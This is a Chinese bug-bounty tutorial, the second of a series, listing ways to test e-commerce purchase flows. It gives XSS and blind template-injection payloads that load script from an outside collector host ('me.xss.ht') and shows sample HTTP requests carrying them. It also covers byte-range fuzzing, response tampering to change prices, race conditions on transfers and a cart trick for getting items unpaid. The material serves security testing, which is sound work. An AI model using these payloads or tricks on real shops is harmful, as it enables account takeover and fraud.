漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-II

简介: 前言本文为本系列的第二篇,前篇有:漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I

前言


本文为本系列的第二篇,前篇有:

漏洞赏金猎人系列-测试电商类相关功能步骤和Tips-I


正文


第八种方法

尝试在所有的字段中注入XSS有效载荷,比如: "><svg/onload=prompt(1)>或者Blind XSS 的有效载荷,比如: "><img src=//me.xss.ht>,尝试获取XSS

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type:application/x-www-form-urlencoded 
Origin: https://www.company.com 
Content-Length: Number
Quantity=1&price=10&currency=dollar&token=************ &add="><img src=//me.xss.ht>

第九种方法

尝试注入blind xss或者blind 模板注入的有效载荷,例如:(主要是 Angular或者 Vue.js)

在User-Agent中:{{constructor.constructor ('import("http://me.xss.ht")')()}}

POST /buying-something HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0"><img src=//me.xss.ht> 
Content-Type: application/x-www-form-urlencoded 
Origin: https://www.company.com
Content-Length: Number
Quantity=1&price=10&currency=dollar&token=************& add=egy

第十种方法

尝试在所有的输入字段中插入以下:

0x00 ➡️0x2F
0x3A ➡️0x40
0x5B ➡️0x60
0x7B ➡️0xFF

比如: Quantity=%00 或者  Quantity=%FF可能会导致

  • 信息泄露
  • 绕过黑名单
  • 账户劫持
  • 内存崩溃

第十一种方法

尝试在参数的所有字段值中插入大的字符或数字,例如Quantity=XXX 50.000+ XXX,又例如abc.com/search/?q=<many character>

可能造成敏感信息泄露

第十二种方法

尝试操纵响应以引起错误

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"price" : 0.10 ,
"quantity" : 1 }

第十三种方法

如果有资金从银行账户1转到银行账户2,例如http://comapny.com/transfer?from=1&to=2&amount=10 ,尽量使用竞态条件

复现步骤:

第十四种方法

允许用户在支付物品时改变订单的应用程序,如果在过程结束时没有验证,也可能存在漏洞。

复现步骤:

  • 使用Firefox浏览器,添加物品到购物车,通过付款页面,然后在此停止
  • 使用Chrome,然后添加新的物品到购物车
  • 回到Firefox浏览器,完成支付流程,可能你会白嫖了一个物品
目录
相关文章
|
2月前
|
机器学习/深度学习 PyTorch 算法框架/工具
目标检测实战(一):CIFAR10结合神经网络加载、训练、测试完整步骤
这篇文章介绍了如何使用PyTorch框架,结合CIFAR-10数据集,通过定义神经网络、损失函数和优化器,进行模型的训练和测试。
167 2
目标检测实战(一):CIFAR10结合神经网络加载、训练、测试完整步骤
|
2月前
|
数据采集 机器学习/深度学习 大数据
行为检测代码(一):超详细介绍C3D架构训练+测试步骤
这篇文章详细介绍了C3D架构在行为检测领域的应用,包括训练和测试步骤,使用UCF101数据集进行演示。
82 1
行为检测代码(一):超详细介绍C3D架构训练+测试步骤
|
26天前
|
监控 测试技术
slb测试会话保持功能
slb测试会话保持功能
33 6
|
2月前
|
运维
【运维基础知识】用dos批处理批量替换文件中的某个字符串(本地单元测试通过,部分功能有待优化,欢迎指正)
该脚本用于将C盘test目录下所有以t开头的txt文件中的字符串“123”批量替换为“abc”。通过创建批处理文件并运行,可实现自动化文本替换,适合初学者学习批处理脚本的基础操作与逻辑控制。
205 56
|
1月前
|
JavaScript 安全 编译器
TypeScript 与 Jest 测试框架的结合使用,从 TypeScript 的测试需求出发,介绍了 Jest 的特点及其与 TypeScript 结合的优势,详细讲解了基本测试步骤、常见测试场景及异步操作测试方法
本文深入探讨了 TypeScript 与 Jest 测试框架的结合使用,从 TypeScript 的测试需求出发,介绍了 Jest 的特点及其与 TypeScript 结合的优势,详细讲解了基本测试步骤、常见测试场景及异步操作测试方法,并通过实际案例展示了其在项目中的应用效果,旨在提升代码质量和开发效率。
47 6
|
1月前
|
敏捷开发 安全 测试技术
掌握单元测试:确保代码质量的关键步骤
单元测试是确保代码质量、提升可维护性和可靠性的重要手段。本文介绍了单元测试的基本概念、重要性及最佳实践,包括测试驱动开发(TDD)、保持测试独立性、使用断言库和模拟依赖等,旨在帮助开发者掌握单元测试技巧,提高开发效率。
|
2月前
|
PyTorch 算法框架/工具 计算机视觉
目标检测实战(二):YoloV4-Tiny训练、测试、评估完整步骤
本文介绍了使用YOLOv4-Tiny进行目标检测的完整流程,包括模型介绍、代码下载、数据集处理、网络训练、预测和评估。
183 2
目标检测实战(二):YoloV4-Tiny训练、测试、评估完整步骤
|
2月前
|
测试技术 开发者
vertx的学习总结6之动态代理类和测试
本文是Vert.x学习系列的第六部分,介绍了如何使用动态代理在事件总线上公开服务,以及如何进行Vert.x组件的异步测试,包括动态代理的创建和使用,以及JUnit 5和Vert.x测试工具的结合使用。
30 3
vertx的学习总结6之动态代理类和测试
|
2月前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
35 5
|
2月前
|
缓存 数据挖掘 测试技术
目标检测实战(三):YOLO-Nano训练、测试、验证详细步骤
本文介绍了YOLO-Nano在目标检测中的训练、测试及验证步骤。YOLO-Nano是一个轻量级目标检测模型,使用ShuffleNet-v2作为主干网络,结合FPN+PAN特征金字塔和NanoDet的检测头。文章详细说明了训练前的准备、源代码下载、数据集准备、参数调整、模型测试、FPS测试、VOC-map测试、模型训练、模型测试和验证等步骤,旨在帮助开发者高效实现目标检测任务。
71 0
目标检测实战(三):YOLO-Nano训练、测试、验证详细步骤